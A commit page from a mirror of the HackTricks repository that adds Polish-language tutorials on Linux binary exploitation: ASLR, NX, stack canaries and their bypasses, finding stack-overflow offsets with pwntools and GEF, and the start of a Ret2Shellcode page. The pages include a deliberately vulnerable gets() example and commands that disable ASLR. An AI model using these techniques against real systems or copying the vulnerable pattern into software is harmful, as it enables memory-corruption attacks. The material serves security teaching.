mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin
This commit is contained in:
Translator
parent
8b570c467e
commit
8cea479347
10 changed files with 921 additions and 434 deletions
10
SUMMARY.md
10
SUMMARY.md
|
|
@ -693,14 +693,22 @@
|
|||
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
|
||||
* [Word Macros](reversing/word-macros.md)
|
||||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
|
||||
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -0,0 +1,39 @@
|
|||
# Wspólne zabezpieczenia binarne
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Włącz pliki Core
|
||||
|
||||
**Pliki Core** to rodzaj plików generowanych przez system operacyjny, gdy proces ulega awarii. Te pliki przechwytują obraz pamięci zatrzymanego procesu w chwili jego zakończenia, w tym pamięć procesu, rejestry i stan licznika programu, między innymi szczegóły. Ten zrzut może być niezwykle wartościowy do debugowania i zrozumienia przyczyny awarii.
|
||||
|
||||
### **Włączanie Generowania Plików Core Dump**
|
||||
|
||||
Domyślnie wiele systemów ogranicza rozmiar plików core do 0 (tj. nie generuje plików core) w celu oszczędzania miejsca na dysku. Aby włączyć generowanie plików core, można użyć polecenia `ulimit` (w powłoce bash lub podobnych) lub skonfigurować ustawienia systemowe.
|
||||
|
||||
* **Korzystanie z ulimit**: Polecenie `ulimit -c unlimited` pozwala bieżącej sesji powłoki tworzyć pliki core o nieograniczonej wielkości. Jest to przydatne podczas sesji debugowania, ale nie jest trwałe po ponownym uruchomieniu systemu lub nowych sesjach.
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
* **Trwała konfiguracja**: Dla bardziej trwałego rozwiązania, możesz edytować plik `/etc/security/limits.conf`, aby dodać linię taką jak `* soft core unlimited`, która pozwala wszystkim użytkownikom generować pliki core o nieograniczonej wielkości bez konieczności ręcznego ustawiania ulimit w ich sesjach.
|
||||
```markdown
|
||||
* soft core unlimited
|
||||
```
|
||||
### **Analiza plików rdzenia za pomocą GDB**
|
||||
|
||||
Aby przeanalizować plik rdzenia, można użyć narzędzi do debugowania, takich jak GDB (GNU Debugger). Zakładając, że masz wykonywalny plik, który wygenerował zrzut rdzenia, a plik rdzenia ma nazwę `core_file`, można rozpocząć analizę za pomocą:
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
To polecenie wczytuje plik wykonywalny i plik rdzenia do GDB, pozwalając na zbadanie stanu programu w momencie awarii. Możesz użyć poleceń GDB do eksploracji stosu, sprawdzenia zmiennych i zrozumienia przyczyny awarii.
|
||||
|
|
@ -0,0 +1,88 @@
|
|||
# ASLR
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## ASLR
|
||||
|
||||
**Address Space Layout Randomization (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego rozmieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie utrudnia się przewidywanie lokalizacji konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
|
||||
|
||||
### **ASLR Nie Tak Losowe**
|
||||
|
||||
PaX dzieli przestrzeń adresową procesu na **3 grupy**:
|
||||
|
||||
* **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych.
|
||||
* **Pamięć** przydzielana przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwana `delta_mmap`.
|
||||
* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednakże faktycznie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> Skutkuje to w **524,288 możliwych rzeczywistych adresach stosu**.
|
||||
|
||||
Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona entropia końcowa umożliwia obejście ASLR poprzez wielokrotne ponowne uruchamianie wykonania, aż atak się powiedzie.
|
||||
|
||||
W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe.
|
||||
|
||||
### **Sprawdzanie Stanu ASLR**
|
||||
|
||||
Aby **sprawdzić** stan ASLR w systemie Linux, można odczytać wartość z pliku `/proc/sys/kernel/randomize_va_space`. Wartość przechowywana w tym pliku określa rodzaj zastosowanego ASLR:
|
||||
|
||||
* **0**: Brak losowości. Wszystko jest statyczne.
|
||||
* **1**: Konserwatywna losowość. Biblioteki współdzielone, stos, mmap(), strona VDSO są losowo rozmieszczane.
|
||||
* **2**: Pełna losowość. Oprócz elementów losowo rozmieszczanych przez konserwatywną losowość, pamięć zarządzana przez `brk()` jest losowo rozmieszczana.
|
||||
|
||||
Możesz sprawdzić stan ASLR za pomocą następującej komendy:
|
||||
```bash
|
||||
bashCopy codecat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Wyłączanie ASLR**
|
||||
|
||||
Aby **wyłączyć** ASLR, ustaw wartość `/proc/sys/kernel/randomize_va_space` na **0**. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak to zrobić:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
Możesz również wyłączyć ASLR dla wykonania za pomocą:
|
||||
```bash
|
||||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
```
|
||||
### **Włączanie ASLR**
|
||||
|
||||
Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Trwałość po ponownym uruchomieniu**
|
||||
|
||||
Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, należy edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
Po edycji `/etc/sysctl.conf` zastosuj zmiany za pomocą:
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
To zapewni, że Twoje ustawienia ASLR pozostaną po ponownym uruchomieniu.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
# Brak wykonania / NX
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w terminologii Intela, to funkcja bezpieczeństwa oparta na sprzęcie, zaprojektowana w celu **łagodzenia** skutków ataków **przepełnienia bufora**. Gdy jest zaimplementowany i włączony, rozróżnia obszary pamięci przeznaczone do **kodu wykonywalnego** od tych przeznaczonych dla **danych**, takich jak **stos** i **sterta**. Podstawowym pomysłem jest zapobieżenie atakującemu wykonaniu złośliwego kodu poprzez wykorzystanie podatności na przepełnienie bufora, umieszczając na przykład złośliwy kod na stosie i kierując przepływ wykonania do niego.
|
||||
|
||||
## Bypassy
|
||||
|
||||
* Możliwe jest użycie technik takich jak **ROP** do obejścia tej ochrony poprzez wykonanie fragmentów kodu wykonywalnego już obecnego w pliku binarnym.
|
||||
* **Ret2libc**
|
||||
* **Ret2printc**
|
||||
* **Ret2...**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,37 @@
|
|||
# Ochrona stosu
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## **StackGuard i StackShield**
|
||||
|
||||
**StackGuard** wstawia specjalną wartość znana jako **kanarka** przed **EIP (Extended Instruction Pointer)**, konkretnie `0x000aff0d` (reprezentującą null, znak nowej linii, EOF, powrót karetki) w celu ochrony przed przepełnieniem bufora. Jednak funkcje takie jak `recv()`, `memcpy()`, `read()` i `bcopy()` pozostają podatne, a także nie chroni **EBP (Base Pointer)**.
|
||||
|
||||
**StackShield** stosuje bardziej zaawansowane podejście niż StackGuard, utrzymując **Globalny Stos Powrotu**, który przechowuje wszystkie adresy powrotu (**EIP**). Ten układ zapewnia, że przepełnienie nie powoduje szkód, ponieważ umożliwia porównanie przechowywanych i rzeczywistych adresów powrotu w celu wykrycia wystąpienia przepełnienia. Dodatkowo, StackShield może sprawdzić adres powrotu względem wartości granicznej, aby wykryć, czy **EIP** wskazuje poza oczekiwaną przestrzeń danych. Jednak ta ochrona może być obejścia za pomocą technik takich jak Return-to-libc, ROP (Return-Oriented Programming) lub ret2ret, co wskazuje, że StackShield również nie chroni zmiennych lokalnych.
|
||||
|
||||
## **Protector Stack Smash (ProPolice) `-fstack-protector`:**
|
||||
|
||||
Ten mechanizm umieszcza **kanarkę** przed **EBP** i przestawia zmienne lokalne, aby umieścić bufory na wyższych adresach pamięci, zapobiegając nadpisywaniu innych zmiennych. Bezpiecznie kopiuje również argumenty przekazane na stosie powyżej zmiennych lokalnych i używa tych kopii jako argumentów. Jednak nie chroni tablic o mniej niż 8 elementach ani buforów w strukturze użytkownika.
|
||||
|
||||
**Kanarka** to losowa liczba pochodząca z `/dev/urandom` lub domyślna wartość `0xff0a0000`. Jest przechowywana w **TLS (Thread Local Storage)**, co pozwala na współdzielone przestrzenie pamięci między wątkami, aby miały wątkowo specyficzne zmienne globalne lub statyczne. Te zmienne są początkowo kopiowane z procesu nadrzędnego, a procesy potomne mogą zmieniać swoje dane bez wpływu na proces nadrzędny lub rodzeństwo. Niemniej jednak, jeśli używane jest **`fork()` bez tworzenia nowej kanarki, wszystkie procesy (rodzic i dzieci) dzielą tę samą kanarkę**, co czyni ją podatną. Na architekturze **i386**, kanarka jest przechowywana pod adresem `gs:0x14`, a na **x86\_64** pod adresem `fs:0x28`.
|
||||
|
||||
Ta lokalna ochrona identyfikuje funkcje z buforami podatnymi na ataki i wstrzykuje kod na początku tych funkcji, aby umieścić kanarkę, a na końcu weryfikuje jej integralność.
|
||||
|
||||
Gdy serwer WWW używa `fork()`, umożliwia atak brute-force w celu odgadnięcia kanarki bajt po bajcie. Jednak używając `execve()` po `fork()` nadpisuje przestrzeń pamięci, unieważniając atak. `vfork()` pozwala procesowi potomnemu wykonywać się bez duplikacji, aż spróbuje zapisać, wtedy tworzony jest duplikat, oferując inny sposób tworzenia procesów i zarządzania pamięcią.
|
||||
|
||||
## Ominięcia
|
||||
|
||||
* **Ujawnienie kanarki** a następnie nadpisanie jej (np. przepełnienie bufora) własną wartością.
|
||||
* Jeśli kanarka jest klonowana w procesach potomnych, możliwe jest brutalne jej odgadnięcie po jednym bajcie.
|
||||
* Jeśli w binarnym istnieje jakaś interesująca luka wyciekowa, może być możliwe jej ujawnienie.
|
||||
|
|
@ -0,0 +1,97 @@
|
|||
# Przepełnienie stosu
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Co to jest przepełnienie stosu
|
||||
|
||||
**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane spowodują **nadpisanie sąsiedniego obszaru pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia sterowania przepływem i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
|
||||
|
||||
Głównym problemem tego nadpisania jest to, że wskaźniki **EIP** i **EBP** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać je i **kontrolować przepływ wykonania programu**.
|
||||
|
||||
Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję na stos więcej bajtów niż jest na nią zaalokowane**, co pozwala na nadpisanie innych części stosu.\
|
||||
Niektóre powszechne funkcje podatne na to to: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
|
||||
|
||||
Na przykład, następujące funkcje mogą być podatne na to:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
printf("Enter some text: ");
|
||||
gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Znajdowanie przepełnień stosu
|
||||
|
||||
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z literami `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie `Segmentation Fault`, co wskazuje, że próbowano uzyskać dostęp do **adresu `0x41414141`**.
|
||||
|
||||
Ponadto, po znalezieniu podatności na przepełnienie stosu, konieczne będzie znalezienie przesunięcia, aż będzie możliwe **nadpisanie wskaźnika EIP**, do tego zazwyczaj używany jest **ciąg De Bruijna**. Dla danego alfabetu o rozmiarze _k_ i podciągach o długości _n_, jest to **cykliczny ciąg, w którym każdy możliwy podciąg o długości _n_ pojawia się dokładnie raz** jako ciągły podciąg.
|
||||
|
||||
W ten sposób, zamiast ręcznego określania, które przesunięcie nadpisuje EIP, można użyć jednego z tych ciągów jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które spowodowało nadpisanie.
|
||||
|
||||
Można to zrobić za pomocą **pwntools**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
|
||||
pattern = cyclic(1000)
|
||||
|
||||
# This is an example value that you'd have found in the EIP/IP register upon crash
|
||||
eip_value = p32(0x6161616c)
|
||||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||||
print(f"The offset is: {offset}")
|
||||
```
|
||||
lub **GEF**:
|
||||
```bash
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Wykorzystywanie przepełnień stosu
|
||||
|
||||
Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł nadpisać wartości innych zmiennych w stosie aż do osiągnięcia EBP i EIP (lub nawet więcej).\
|
||||
Najczęstszym sposobem nadużycia tego rodzaju podatności jest **modyfikacja wskaźnika EIP**, dzięki czemu po zakończeniu funkcji **przepływ sterowania zostanie przekierowany w miejsce, które użytkownik określił** w tym wskaźniku.
|
||||
|
||||
Jednakże, w innych scenariuszach może wystarczyć **nadpisanie wartości niektórych zmiennych w stosie** do celów eksploatacji (jak w łatwych wyzwaniach CTF).
|
||||
|
||||
### Ret2win
|
||||
|
||||
W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, która **nigdy nie jest wywoływana** i **musisz ją wywołać, aby wygrać**. W takich wyzwaniach wystarczy znaleźć **przesunięcie do nadpisania EIP** i **znaleźć adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections/aslr.md) byłoby wyłączone), dzięki czemu po zakończeniu funkcji podatnej zostanie wywołana ukryta funkcja:
|
||||
|
||||
{% content-ref url="ret2win.md" %}
|
||||
[ret2win.md](ret2win.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ret2Shellcode
|
||||
|
||||
## Rodzaje zabezpieczeń
|
||||
|
||||
{% content-ref url="../common-binary-protections/" %}
|
||||
[common-binary-protections](../common-binary-protections/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,93 @@
|
|||
# Ret2Shellcode
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Ret2shellcode** to technika używana w eksploatacji binarnej, gdzie atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowany opis procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**.
|
||||
|
||||
### Przykład w języku C: Podatny Program
|
||||
|
||||
Zacznijmy od prostego przykładu podatnego programu w języku C:
|
||||
```c
|
||||
#include <stdio.h>
